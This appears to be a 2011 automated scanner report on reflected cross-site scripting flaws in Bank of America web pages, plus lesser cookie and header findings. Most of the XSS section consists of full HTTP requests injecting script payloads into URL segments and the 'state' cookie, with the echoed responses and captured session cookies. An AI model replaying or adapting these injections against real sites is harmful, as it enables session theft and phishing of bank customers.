XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, bankofamerica.com

Report generated by XSS.CX at Tue Jun 28 16:28:56 CDT 2011.

Updated Phish Report on Blog at URL BofA - REST URL Parameter, User Agent, Referer XSS as of June 29, 2011 - Added Blog Post on OnlineEast2.BofA and updated XSS.CX with Updated 6-29-2011 @ 1017 US Eastern and added www-stage.BofA

Loading

1. Cross-site scripting (reflected)

1.1. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm [REST URL parameter 1]

1.2. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm [REST URL parameter 2]

1.3. http://www.bankofamerica.com/surveys/popup_visit.cfm [REST URL parameter 1]

1.4. http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm [REST URL parameter 1]

1.5. http://www.bankofamerica.com/surveys/survey_select.cfm [REST URL parameter 1]

1.6. http://www.bankofamerica.com/findit/error.cgi [state cookie]

1.7. http://www.bankofamerica.com/surveys/flyout/HM_Arrays.js [state cookie]

1.8. http://www.bankofamerica.com/www/global/mvc_objects/images/1pixel_clear.gif [state cookie]

2. Cookie scoped to parent domain

2.1. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm

2.2. http://www.bankofamerica.com/surveys/survey_select.cfm

3. Cookie without HttpOnly flag set

3.1. http://www.bankofamerica.com/coremetrics/cmdatatagutils.js

3.2. http://www.bankofamerica.com/coremetrics/v40/eluminate.js

3.3. http://www.bankofamerica.com/global/mvc_objects/stylesheet/hs2_mvc_content_style.css

3.4. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm

3.5. http://www.bankofamerica.com/surveys/survey_select.cfm

4. Email addresses disclosed

5. Robots.txt file

6. HTML does not specify charset

6.1. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm

6.2. http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm

6.3. http://www.bankofamerica.com/surveys/survey_select.cfm

7. Content type incorrectly stated

7.1. http://www.bankofamerica.com/favicon.ico

7.2. http://www.bankofamerica.com/global/images/new_Banklogo.gif



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/bridge/surveybridge.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12dd0"><script>alert(1)</script>a01f5a16cdc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /surveys12dd0"><script>alert(1)</script>a01f5a16cdc/bridge/surveybridge.cfm?surveynumber=9 HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://locators.bankofamerica.com/locator/locator/LocatorAction.do
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997

Response

HTTP/1.1 404 Object Not Found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:44 GMT
Content-type: text/html
Page-Completion-Status: Normal
Content-Length: 1409


<html>
   <head>
       <title>Bank of America</title>
       <link rel="stylesheet" href="/global/mvc_objects/stylesheet/hs2_mvc_content_style.css" type="text/css">
   </head>

   <body bgcolor="#ffffff" text=
...[SNIP]...
<input type="hidden" name="URL" value="http://www.bankofamerica.com/surveys12dd0"><script>alert(1)</script>a01f5a16cdc/bridge/surveybridge.cfmsurveynumber=9">
...[SNIP]...

1.2. http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/bridge/surveybridge.cfm

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e738"><script>alert(1)</script>9ea3cf807cd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /surveys/bridge8e738"><script>alert(1)</script>9ea3cf807cd/surveybridge.cfm?surveynumber=9 HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://locators.bankofamerica.com/locator/locator/LocatorAction.do
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; state=MA; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997

Response

HTTP/1.1 404 Object Not Found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:44 GMT
Content-type: text/html
Page-Completion-Status: Normal
Content-Length: 1409


<html>
   <head>
       <title>Bank of America</title>
       <link rel="stylesheet" href="/global/mvc_objects/stylesheet/hs2_mvc_content_style.css" type="text/css">
   </head>

   <body bgcolor="#ffffff" text=
...[SNIP]...
<input type="hidden" name="URL" value="http://www.bankofamerica.com/surveys/bridge8e738"><script>alert(1)</script>9ea3cf807cd/surveybridge.cfmsurveynumber=9">
...[SNIP]...

1.3. http://www.bankofamerica.com/surveys/popup_visit.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/popup_visit.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4b84"><script>alert(1)</script>1298aca11cc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /surveysc4b84"><script>alert(1)</script>1298aca11cc/popup_visit.cfm?survey_url=http://bankofamerica.researchhq.com/onlinebanking/index.php?cust=LOCP&survey_name=CTS%20Survey%20for%20ATM%20BC%20Locator%20II&surveynumber=9 HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/survey_select.cfm?surveynumber=9&blurwindow=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; state=MA; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1

Response

HTTP/1.1 404 Object Not Found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:21:55 GMT
Content-type: text/html
Page-Completion-Status: Normal
Content-Length: 1539


<html>
   <head>
       <title>Bank of America</title>
       <link rel="stylesheet" href="/global/mvc_objects/stylesheet/hs2_mvc_content_style.css" type="text/css">
   </head>

   <body bgcolor="#ffffff" text=
...[SNIP]...
<input type="hidden" name="URL" value="http://www.bankofamerica.com/surveysc4b84"><script>alert(1)</script>1298aca11cc/popup_visit.cfmsurvey_url=http://bankofamerica.researchhq.com/onlinebanking/index.php?cust=LOCP&survey_name=CTS%20Survey%20for%20ATM%20BC%20Locator%20II&surveynumber=9">
...[SNIP]...

1.4. http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/survey_popup_invoker.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78c6e"><script>alert(1)</script>c9268a135a4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /surveys78c6e"><script>alert(1)</script>c9268a135a4/survey_popup_invoker.cfm?surveynumber=9&blurwindow= HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/bridge/surveybridge.cfm?surveynumber=9
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; state=MA; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN

Response

HTTP/1.1 404 Object Not Found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:12 GMT
Content-type: text/html
Page-Completion-Status: Normal
Content-Length: 1422


<html>
   <head>
       <title>Bank of America</title>
       <link rel="stylesheet" href="/global/mvc_objects/stylesheet/hs2_mvc_content_style.css" type="text/css">
   </head>

   <body bgcolor="#ffffff" text=
...[SNIP]...
<input type="hidden" name="URL" value="http://www.bankofamerica.com/surveys78c6e"><script>alert(1)</script>c9268a135a4/survey_popup_invoker.cfmsurveynumber=9&blurwindow=">
...[SNIP]...

1.5. http://www.bankofamerica.com/surveys/survey_select.cfm [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/survey_select.cfm

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b4d0"><script>alert(1)</script>5e7e5aa23b6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /surveys1b4d0"><script>alert(1)</script>5e7e5aa23b6/survey_select.cfm?surveynumber=9&blurwindow= HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/survey_popup_invoker.cfm?surveynumber=9&blurwindow=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_SHOWN_IN_LAST_6_MONTHS=N; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; state=MA

Response

HTTP/1.1 404 Object Not Found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:07 GMT
Content-type: text/html
Page-Completion-Status: Normal
Content-Length: 1415


<html>
   <head>
       <title>Bank of America</title>
       <link rel="stylesheet" href="/global/mvc_objects/stylesheet/hs2_mvc_content_style.css" type="text/css">
   </head>

   <body bgcolor="#ffffff" text=
...[SNIP]...
<input type="hidden" name="URL" value="http://www.bankofamerica.com/surveys1b4d0"><script>alert(1)</script>5e7e5aa23b6/survey_select.cfmsurveynumber=9&blurwindow=">
...[SNIP]...

1.6. http://www.bankofamerica.com/findit/error.cgi [state cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /findit/error.cgi

Issue detail

The value of the state cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c174"><script>alert(1)</script>3d0d962e8a8 was submitted in the state cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

POST /findit/error.cgi HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys12dd0%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ea01f5a16cdc/bridge/surveybridge.cfm?surveynumber=9
Content-Length: 184
Cache-Control: max-age=0
Origin: http://www.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; BOFA_LOCALE_COOKIE=en-US; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; state=MA2c174"><script>alert(1)</script>3d0d962e8a8; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; CMAVID=70121306499602161810121; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852

URL=http%3A%2F%2Fwww.bankofamerica.com%2Fsurveys12dd0%2522%253E%253Cscript%253Ealert%28document.location%29%253C%2Fscript%253Ea01f5a16cdc%2Fbridge%2Fsurveybridge.cfm%3Fsurveynumber%3D9

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:31 GMT
Content-type: text/html
P3p: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Content-Length: 13458

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="Description" content="Plea
...[SNIP]...
<a href="http://www.bankofamerica.com/contact/?state=MA2c174"><script>alert(1)</script>3d0d962e8a8">
...[SNIP]...

1.7. http://www.bankofamerica.com/surveys/flyout/HM_Arrays.js [state cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /surveys/flyout/HM_Arrays.js

Issue detail

The value of the state cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7ce2"><script>alert(1)</script>5b0928e6a91 was submitted in the state cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /surveys/flyout/HM_Arrays.js HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/surveys/popup_visit.cfm?survey_url=http://bankofamerica.researchhq.com/onlinebanking/index.php?cust=LOCP&survey_name=CTS%20Survey%20for%20ATM%20BC%20Locator%20II&surveynumber=9
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; BOFA_LOCALE_COOKIE=en-US; cmRS=t3=1309270224924&pi=homepage%3AContent%3APersonal%3Bhome_personal; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; state=MAe7ce2"><script>alert(1)</script>5b0928e6a91; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8

Response

HTTP/1.1 404 Not found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:00 GMT
Content-type: text/html
P3p: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi"
Content-Length: 13458

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="Description" content="Plea
...[SNIP]...
<a href="http://www.bankofamerica.com/contact/?state=MAe7ce2"><script>alert(1)</script>5b0928e6a91">
...[SNIP]...

1.8. http://www.bankofamerica.com/www/global/mvc_objects/images/1pixel_clear.gif [state cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bankofamerica.com
Path:   /www/global/mvc_objects/images/1pixel_clear.gif

Issue detail

The value of the state cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e90dc"><script>alert(1)</script>89153cb12e0 was submitted in the state cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /www/global/mvc_objects/images/1pixel_clear.gif HTTP/1.1
Host: www.bankofamerica.com
Proxy-Connection: keep-alive
Referer: http://www.bankofamerica.com/findit/error.cgi
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: WAOR=1726259115.281.0000; CM_RegCustID=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; cmTPSet=Y; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; BOA_0020=20110628:0:O:d4887111-ca68-4745-8fa4fcccc29f4442; BOFA_LOCALE_COOKIE=en-US; BIGipServerngen-www.80=916895403.20480.0000; TCID=0007b046-77e2-485a-acb6-a45400000014; session_start_time=1309296076997; CFID=139695610; CFTOKEN=53028ef%2D0000d77b%2D45df%2D1e0a%2Db202%2D839b8e390000; GEOSERVER=1; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; SURVEY_SHOWN_IN_LAST_6_MONTHS=Y; SURVEY_SHOW_DETAILS=CTS+Survey+for+ATM+BC+Locator+II%2C1%2C1; state=MAe90dc"><script>alert(1)</script>89153cb12e0; TLTSID=4AC2E04CA18F10A1E19AC80568F5F3A8; TLTUID=4AC2E04CA18F10A1E19AC80568F5F3A8; CMAVID=70121306499602161810121; throttle_value=31; NSC_CbolPgBnfsjdb=445b32097852

Response

HTTP/1.1 404 Not found
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 28 Jun 2011 21:22:34 GMT
Content-type: text/html
